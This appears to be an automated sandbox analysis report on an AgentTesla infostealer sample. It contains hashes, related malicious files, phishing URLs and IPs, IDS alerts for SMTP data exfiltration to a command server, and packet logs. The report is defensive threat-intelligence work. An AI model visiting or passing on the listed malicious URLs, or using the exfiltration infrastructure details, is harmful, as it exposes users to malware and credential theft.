	c2e57fb2b8206bd9b5d05d8a9b0d2e78082dd303ee6364b288d568fcd48900f7_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	XX(1).exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Ship Docs_CI PL HBL COO_.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	M.V TBN - VESSEL'S DETAILS.docx.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	0001.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Zz3h8cOX1E.exe	Get hash	malicious	Quasar	Browse	104.26.13.205
	Luciana Alvarez CV.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	xJvN1QBl91.rtf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Swift tract-20240506_120.xls	Get hash	malicious	Remcos	Browse	172.67.148.197
	IMG 003.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	msupdate.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	msupdate.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	pirates.bat	Get hash	malicious	Kematian Stealer	Browse	104.16.124.96
	pirates.bat	Get hash	malicious	Kematian Stealer	Browse	104.16.123.96
	c2e57fb2b8206bd9b5d05d8a9b0d2e78082dd303ee6364b288d568fcd48900f7_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	6xmBUtHylU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	XX(1).exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
VIVIDHOSTINGUS	MT_0615_60931PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.254.34.31
	Doc230906103882.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.254.34.31
	IMG_067_6331002.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.254.34.31
	MT_08312_167027.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.254.34.31
	MTQ_05133_1670.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.254.34.31
	TT-SWIFT-Schindler.exe	Get hash	malicious	FormBook	Browse	162.254.34.125
	jew.arm.elf	Get hash	malicious	Unknown	Browse	206.40.174.71
	pvB12I4aus.vbe	Get hash	malicious	AgentTesla	Browse	162.254.34.31
	MTQ_06341_0056036_016.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.254.34.31
	Required quotations data list.exe	Get hash	malicious	FormBook	Browse	162.254.34.27
GREENFLOID-ASUA	Products Order.exe	Get hash	malicious	Lokibot, PureLog Stealer	Browse	45.90.57.51
	https://github.com/oLDschollBozz/BF2042Galaxy	Get hash	malicious	PureLog Stealer, zgRAT	Browse	91.90.195.152
	SecuriteInfo.com.Win32.Trojan.CobaltStrike.4EYNH5.5772.17622.dll	Get hash	malicious	CobaltStrike	Browse	45.90.59.193
	History123456.zip	Get hash	malicious	Unknown	Browse	195.123.246.26
	YxcXefg5QE.exe	Get hash	malicious	Unknown	Browse	82.118.21.69
	YxcXefg5QE.exe	Get hash	malicious	Unknown	Browse	82.118.21.69
	nDoc_032056193.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	82.118.21.69
	Doc_1009675287pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	82.118.21.69
	helper.exe	Get hash	malicious	AZORult++	Browse	45.90.58.1
	helper(1).exe	Get hash	malicious	AZORult++	Browse	45.90.58.1
CLOUDFLARENETUS	xJvN1QBl91.rtf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	Swift tract-20240506_120.xls	Get hash	malicious	Remcos	Browse	172.67.148.197
	IMG 003.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	msupdate.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	msupdate.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	pirates.bat	Get hash	malicious	Kematian Stealer	Browse	104.16.124.96
	pirates.bat	Get hash	malicious	Kematian Stealer	Browse	104.16.123.96
	c2e57fb2b8206bd9b5d05d8a9b0d2e78082dd303ee6364b288d568fcd48900f7_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	6xmBUtHylU.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	XX(1).exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	IMG 003.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205 172.67.74.152
	pirates.bat	Get hash	malicious	Kematian Stealer	Browse	104.26.12.205 172.67.74.152
	pirates.bat	Get hash	malicious	Kematian Stealer	Browse	104.26.12.205 172.67.74.152
	c2e57fb2b8206bd9b5d05d8a9b0d2e78082dd303ee6364b288d568fcd48900f7_dump.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205 172.67.74.152
	XX(1).exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205 172.67.74.152
	Ship Docs_CI PL HBL COO_.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205 172.67.74.152
	https://singingfiles.com/show.php?l=0&u=2156442&id=64574	Get hash	malicious	Unknown	Browse	104.26.12.205 172.67.74.152
	https://sula.starladeroff.com/	Get hash	malicious	Unknown	Browse	104.26.12.205 172.67.74.152
	http://business.ifbsmetaiidentiityconfirms.com/meta-community-standard100068928266341/	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205 172.67.74.152
	http://helpdesk-advertising-review-id-9865133.d3m7n55z273utf.amplifyapp.com/index.html	Get hash	malicious	Unknown	Browse	104.26.12.205 172.67.74.152

Process:	C:\Users\user\Desktop\Doc6078451035.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.366228651389395
Encrypted:	false
SSDEEP:	24:ML9E4KXE4KhHKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKXHKNYHKh3owH8tHo6hAHKzeRHKxm
MD5:	E336BB4AA62889259209A003BC8DDA28
SHA1:	C21E2523F7EBFF0D4664E22F405FE0705182AB80
SHA-256:	85575A9181A2FD3E32FFE39F08F6CD7E62AAD57191DB0F08B1B393A8863A4F17
SHA-512:	7B98F29FBC3799D59B02F6728B1C7A5EA5FC2DF9BCDF7F597620708D1B951A0771E2C10DAA7EE03092B101FC3BCF43BF08692416BE6C05D28BA49752F2A7816A
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeIma

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Hdoyoyt.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\Hdoyoyt.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1484
Entropy (8bit):	5.366228651389395
Encrypted:	false
SSDEEP:	24:ML9E4KXE4KhHKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKXHKNYHKh3owH8tHo6hAHKzeRHKxm
MD5:	E336BB4AA62889259209A003BC8DDA28
SHA1:	C21E2523F7EBFF0D4664E22F405FE0705182AB80
SHA-256:	85575A9181A2FD3E32FFE39F08F6CD7E62AAD57191DB0F08B1B393A8863A4F17
SHA-512:	7B98F29FBC3799D59B02F6728B1C7A5EA5FC2DF9BCDF7F597620708D1B951A0771E2C10DAA7EE03092B101FC3BCF43BF08692416BE6C05D28BA49752F2A7816A
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeIma

C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Download File

Process:	C:\Users\user\Desktop\Doc6078451035.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	254176
Entropy (8bit):	6.380769969255746
Encrypted:	false
SSDEEP:	3072:n3VVbdfUfFj8fSYeS/9IqpR4FdUmPWuGDXIpAKWV3JAzfOUQmd4NDVoe/u0x81k5:nFVW4f2S/93+RosoV9cVakqD
MD5:	D95051443F4688AAF77B021012CA74F4
SHA1:	88DDC24B253F7B7D47E5032068CA0B60DF985DB4
SHA-256:	9337EBED5A958025C5404C8A77FF7CCF12335BE888524DF823443DFF2DBE3761
SHA-512:	14F430FEDCA90D5B03060D4611CC325E3418035201E8E8EDC75824E3AB2291D6787A64B6D96F0BC80EC3F21D2871C98B781A81613A9E60F60274BDDC4D8D9AF7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34% Antivirus: Virustotal, Detection: 48%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...VW.f............................n.... ........@.. ....................... ............`................................. ...K........................(........................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H............7..............................................................(.......(.....0.......... ........8........E....-...........8(.....(...... ....~....{3...:....& ....8.....s....%.o.....%.o.....%.o.....%.o.....%.o.....%.o....... ....~....{....:u...& ....8j...&~..........~......0.......... ........8........E........<...`...b...B...(...8........ ....~....{\...9....& ....8.....8.... ........8....8.... ....~....{N...:....& ....8......... ....~....{....9....& ....8.

C:\Users\user\AppData\Roaming\Hdoyoyt.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Doc6078451035.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.380769969255746
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Doc6078451035.exe
File size:	254'176 bytes
MD5:	d95051443f4688aaf77b021012ca74f4
SHA1:	88ddc24b253f7b7d47e5032068ca0b60df985db4
SHA256:	9337ebed5a958025c5404c8a77ff7ccf12335be888524df823443dff2dbe3761
SHA512:	14f430fedca90d5b03060d4611cc325e3418035201e8e8edc75824e3ab2291d6787a64b6d96f0bc80ec3f21d2871c98b781a81613a9e60f60274bddc4d8d9af7
SSDEEP:	3072:n3VVbdfUfFj8fSYeS/9IqpR4FdUmPWuGDXIpAKWV3JAzfOUQmd4NDVoe/u0x81k5:nFVW4f2S/93+RosoV9cVakqD
TLSH:	0D44E9033185ACD9D4235BB288AFD5202168BE9D9175C60E3647BB2766F3352316BF8F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...VW.f............................n.... ........@.. ....................... ............`................................

File Icon


Icon Hash:	d2988c8eaab2965b

Static PE Info

General

Entrypoint:	0x40c26e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66865756 [Thu Jul 4 08:03:34 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	16/06/2022 01:00:00 16/06/2025 00:59:59
Subject Chain	CN=Zainuddin Nafarin, O=Zainuddin Nafarin, S=Kalimantan Tengah, C=ID
Version:	3
Thumbprint MD5:	C1D3F9663A64165076EF8A25F82E6E4D
Thumbprint SHA-1:	B7EC778DED4418EC309CA14B55E98B2346510BF0
Thumbprint SHA-256:	CD9DF2BD1B46DF5E84FB6E1A45DACE01EBFFFDAF8C7E74DA9D8D76C36E413C2C
Serial:	44DC576916E3E168EDA2469FFC7A4A9C

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc220	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x30f14	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3b800	0x28e0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x40000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa274	0xa400	c4f8d3d9eea795611936b8f0d5fbb51e	False	0.5275819359756098	data	5.73766113281892	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x30f14	0x31000	22e3a19c6dde98cea2af6e9e5d9788cf	False	0.41940868144132654	data	6.216384047830102	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x40000	0xc	0x200	c4eac5397e9eab86f9b6958b08c44ed8	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xe2b0	0x8e8e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9992601523538116
RT_ICON	0x17140	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	0.21443570330060333
RT_ICON	0x27968	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	0.31067374395627495
RT_ICON	0x30e10	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	0.34681146025878
RT_ICON	0x36298	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.32345299952763346
RT_ICON	0x3a4c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.416701244813278
RT_ICON	0x3ca68	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.4774859287054409
RT_ICON	0x3db10	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	0.578688524590164
RT_ICON	0x3e498	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.6533687943262412
RT_GROUP_ICON	0x3e900	0x84	data	0.7272727272727273
RT_VERSION	0x3e984	0x3a4	data	0.4130901287553648
RT_MANIFEST	0x3ed28	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/05/24-07:48:28.548117	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	63879	587	192.168.2.4	162.254.34.31
07/05/24-07:49:16.913010	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	63884	587	192.168.2.4	162.254.34.31
07/05/24-07:49:23.960836	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	63886	587	192.168.2.4	162.254.34.31
07/05/24-07:49:23.960836	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	63886	587	192.168.2.4	162.254.34.31
07/05/24-07:48:28.548056	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	63879	587	192.168.2.4	162.254.34.31
07/05/24-07:49:16.913010	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	63884	587	192.168.2.4	162.254.34.31
07/05/24-07:49:23.960836	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	63886	587	192.168.2.4	162.254.34.31
07/05/24-07:48:28.548117	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	63879	587	192.168.2.4	162.254.34.31
07/05/24-07:48:28.548117	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	63879	587	192.168.2.4	162.254.34.31
07/05/24-07:49:16.913010	TCP	2855542	ETPRO TROJAN Agent Tesla CnC Exfil Activity	63884	587	192.168.2.4	162.254.34.31
07/05/24-07:49:16.913010	TCP	2855245	ETPRO TROJAN Agent Tesla Exfil via SMTP	63884	587	192.168.2.4	162.254.34.31
07/05/24-07:49:16.912805	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	63884	587	192.168.2.4	162.254.34.31
07/05/24-07:49:23.960836	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	63886	587	192.168.2.4	162.254.34.31
07/05/24-07:48:28.548117	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	63879	587	192.168.2.4	162.254.34.31
07/05/24-07:49:23.960836	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	63886	587	192.168.2.4	162.254.34.31

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 5, 2024 07:47:52.140180111 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.145092010 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.145184994 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.161154985 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.165868044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820112944 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820137978 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820147038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820218086 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820303917 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820319891 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820329905 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820341110 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820390940 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.820390940 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.820390940 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.820390940 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.820493937 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820503950 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.820554972 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.825217009 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.825297117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.825308084 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.825337887 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.870768070 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.926012993 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926085949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926124096 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926147938 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.926192045 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926203012 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926232100 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.926513910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926554918 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.926589966 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926601887 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.926642895 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.926671028 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.927119017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.927164078 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.927172899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.927184105 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.927223921 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.927300930 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.927320004 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.927366972 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.927930117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928006887 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928019047 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928051949 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.928138971 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928149939 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928188086 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.928812027 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928848982 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928857088 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.928859949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.928901911 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.928961039 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.930963993 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.931014061 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:52.931040049 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.931051970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:52.931094885 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.032346964 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.032372952 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.032382965 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.032449007 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.032529116 CEST	80	49733	45.90.58.251	192.168.2.4
